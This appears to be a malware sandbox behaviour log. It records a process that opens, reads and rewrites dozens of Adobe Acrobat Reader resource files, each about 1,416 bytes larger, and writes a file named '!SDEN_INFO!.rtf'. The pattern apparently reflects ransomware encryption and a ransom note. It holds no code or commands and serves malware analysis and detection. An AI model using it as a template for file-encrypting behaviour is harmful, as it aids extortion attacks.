File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\uk-ua\ui-strings.js, size = 5907, size_out = 5907	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\uk-ua\ui-strings.js, size = 7323	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\add-comment-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\!SDEN_INFO!.rtf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\!SDEN_INFO!.rtf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\!SDEN_INFO!.rtf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugins\!SDEN_INFO!.rtf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\compare.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\get-e-signatures.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\PlayStore_icon.svg, size = 6840, size_out = 6840	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\es-es\PlayStore_icon.svg, size = 8256	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\PlayStore_icon.svg, size = 5756, size_out = 5756	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\PlayStore_icon.svg, size = 7172	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\sv-se\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\organize-pages-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr.gif, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr.gif, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\scan-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\upsell-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\da-dk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\da-dk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\da-dk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hr-hr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hr-hr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\hr-hr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\plugin.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\plugin.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\plugin.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fi-fi\ui-strings.js, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fr-fr\ui-strings.js, size = 1132, size_out = 1132	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\fr-fr\ui-strings.js, size = 2548	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-selector.js, size = 3368, size_out = 3368	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\plugins\rhp\pages-app-selector.js, size = 4784	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\es-es\ui-strings.js, size = 920, size_out = 920	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\es-es\ui-strings.js, size = 2336	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nb-no\ui-strings.js, size = 915, size_out = 915	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\nb-no\ui-strings.js, size = 2331	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\tr-tr\ui-strings.js, size = 901, size_out = 901	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\tr-tr\ui-strings.js, size = 2317	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_da_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_da_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_da_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_da_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nl_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nl_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nl_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_nl_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags@2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags@2x.png, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags@2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags@2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\flags@2x.png, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\el_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\el_get.svg, size = 6343, size_out = 6343	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\el_get.svg, size = 7759	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\iw_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\iw_get.svg, size = 5632, size_out = 5632	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\iw_get.svg, size = 7048	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ro_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ro_get.svg, size = 5715, size_out = 5715	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ro_get.svg, size = 7131	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-tw_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-tw_get.svg, size = 6319, size_out = 6319	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\zh-tw_get.svg, size = 7735	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fi-fi\ui-strings.js, size = 1509, size_out = 1509	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fi-fi\ui-strings.js, size = 2925	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pl-pl\ui-strings.js, size = 1519, size_out = 1519	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\pl-pl\ui-strings.js, size = 2935	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
